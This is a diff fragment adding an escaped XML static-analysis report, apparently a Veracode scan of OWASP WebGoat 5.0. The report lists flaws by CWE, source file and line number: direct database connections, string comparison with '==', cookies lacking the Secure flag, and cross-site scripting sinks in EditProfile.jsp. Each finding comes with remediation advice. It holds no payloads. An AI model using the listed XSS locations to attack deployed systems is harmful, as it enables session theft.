+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
